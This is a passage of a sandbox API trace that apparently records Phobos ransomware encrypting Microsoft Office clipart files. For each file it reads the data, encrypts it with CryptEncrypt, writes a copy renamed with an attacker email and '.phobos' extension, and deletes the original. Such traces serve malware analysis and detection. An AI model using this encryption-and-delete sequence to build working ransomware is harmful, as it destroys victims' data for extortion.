0x2e4 [0133.349] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=736) returned 1 [0133.349] CloseHandle (hObject=0x2e4) returned 1 [0133.350] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf")) returned 0x220 [0133.350] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.350] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0133.350] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.350] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.350] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0133.350] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752a58) returned 1 [0133.350] CryptSetKeyParam (hKey=0x752a58, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.350] ReadFile (in: hFile=0x2e4, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x2e0, lpOverlapped=0x0) returned 1 [0133.365] CryptEncrypt (in: hKey=0x752a58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x2f0, dwBufLen=0x2f0 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x2f0) returned 1 [0133.365] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x2f0, lpOverlapped=0x0) returned 1 [0133.366] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752e18) returned 1 [0133.366] CryptSetKeyParam (hKey=0x752e18, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.366] CryptEncrypt (in: hKey=0x752e18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0133.366] CryptDestroyKey (hKey=0x752e18) returned 1 [0133.366] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0133.366] CryptDestroyKey (hKey=0x752a58) returned 1 [0133.366] CloseHandle (hObject=0x2e4) returned 1 [0133.366] CloseHandle (hObject=0x308) returned 1 [0133.366] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf")) returned 1 [0133.367] SetEvent (hEvent=0x2b8) returned 1 [0133.367] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0133.367] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0133.367] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=7944) returned 1 [0133.367] CloseHandle (hObject=0x308) returned 1 [0133.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf")) returned 0x220 [0133.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.368] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0133.368] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.368] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.368] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0133.368] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752b18) returned 1 [0133.368] CryptSetKeyParam (hKey=0x752b18, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.368] ReadFile (in: hFile=0x308, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x1f08, lpOverlapped=0x0) returned 1 [0133.372] CryptEncrypt (in: hKey=0x752b18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x1f10, dwBufLen=0x1f10 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x1f10) returned 1 [0133.372] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x1f10, lpOverlapped=0x0) returned 1 [0133.373] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x753198) returned 1 [0133.373] CryptSetKeyParam (hKey=0x753198, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.373] CryptEncrypt (in: hKey=0x753198, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0133.373] CryptDestroyKey (hKey=0x753198) returned 1 [0133.373] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0133.374] CryptDestroyKey (hKey=0x752b18) returned 1 [0133.374] CloseHandle (hObject=0x308) returned 1 [0133.374] CloseHandle (hObject=0x2e4) returned 1 [0133.374] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf")) returned 1 [0133.374] SetEvent (hEvent=0x2b8) returned 1 [0133.375] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0133.375] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0133.375] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=17850) returned 1 [0133.375] CloseHandle (hObject=0x2e4) returned 1 [0133.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf")) returned 0x220 [0133.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.375] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0133.375] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.375] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.375] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0133.375] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752d58) returned 1 [0133.375] CryptSetKeyParam (hKey=0x752d58, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.376] ReadFile (in: hFile=0x2e4, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x45ba, lpOverlapped=0x0) returned 1 [0133.384] CryptEncrypt (in: hKey=0x752d58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x45c0, dwBufLen=0x45c0 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x45c0) returned 1 [0133.384] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x45c0, lpOverlapped=0x0) returned 1 [0133.387] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x753158) returned 1 [0133.387] CryptSetKeyParam (hKey=0x753158, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.387] CryptEncrypt (in: hKey=0x753158, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0133.387] CryptDestroyKey (hKey=0x753158) returned 1 [0133.387] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0133.387] CryptDestroyKey (hKey=0x752d58) returned 1 [0133.387] CloseHandle (hObject=0x2e4) returned 1 [0133.387] CloseHandle (hObject=0x308) returned 1 [0133.387] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf")) returned 1 [0133.388] SetEvent (hEvent=0x2b8) returned 1 [0133.388] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0133.388] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0133.388] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=11994) returned 1 [0133.388] CloseHandle (hObject=0x308) returned 1 [0133.388] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf")) returned 0x220 [0133.389] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.389] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0133.389] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.389] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.389] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0133.389] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752e58) returned 1 [0133.389] CryptSetKeyParam (hKey=0x752e58, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.389] ReadFile (in: hFile=0x308, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x2eda, lpOverlapped=0x0) returned 1 [0133.409] CryptEncrypt (in: hKey=0x752e58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x2ee0, dwBufLen=0x2ee0 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x2ee0) returned 1 [0133.409] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x2ee0, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x2ee0, lpOverlapped=0x0) returned 1 [0133.410] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752ad8) returned 1 [0133.410] CryptSetKeyParam (hKey=0x752ad8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.410] CryptEncrypt (in: hKey=0x752ad8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0133.410] CryptDestroyKey (hKey=0x752ad8) returned 1 [0133.410] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0133.410] CryptDestroyKey (hKey=0x752e58) returned 1 [0133.410] CloseHandle (hObject=0x308) returned 1 [0133.410] CloseHandle (hObject=0x2e4) returned 1 [0133.410] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf")) returned 1 [0133.411] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0133.411] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0133.411] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=14194) returned 1 [0133.412] CloseHandle (hObject=0x2e4) returned 1 [0133.412] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf")) returned 0x220 [0133.412] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.412] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0133.412] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.412] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.412] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0133.412] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752fd8) returned 1 [0133.412] CryptSetKeyParam (hKey=0x752fd8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.412] ReadFile (in: hFile=0x2e4, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x3772, lpOverlapped=0x0) returned 1 [0133.429] CryptEncrypt (in: hKey=0x752fd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x3780, dwBufLen=0x3780 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x3780) returned 1 [0133.429] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x3780, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x3780, lpOverlapped=0x0) returned 1 [0133.430] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752ed8) returned 1 [0133.430] CryptSetKeyParam (hKey=0x752ed8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.430] CryptEncrypt (in: hKey=0x752ed8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0133.430] CryptDestroyKey (hKey=0x752ed8) returned 1 [0133.430] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0133.430] CryptDestroyKey (hKey=0x752fd8) returned 1 [0133.430] CloseHandle (hObject=0x2e4) returned 1 [0133.430] CloseHandle (hObject=0x308) returned 1 [0133.430] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf")) returned 1 [0133.431] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0133.431] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0133.432] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=15856) returned 1 [0133.432] CloseHandle (hObject=0x308) returned 1 [0133.432] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf")) returned 0x220 [0133.432] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.432] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0133.432] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.432] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.432] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0133.433] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752ed8) returned 1 [0133.433] CryptSetKeyParam (hKey=0x752ed8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.433] ReadFile (in: hFile=0x308, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x3df0, 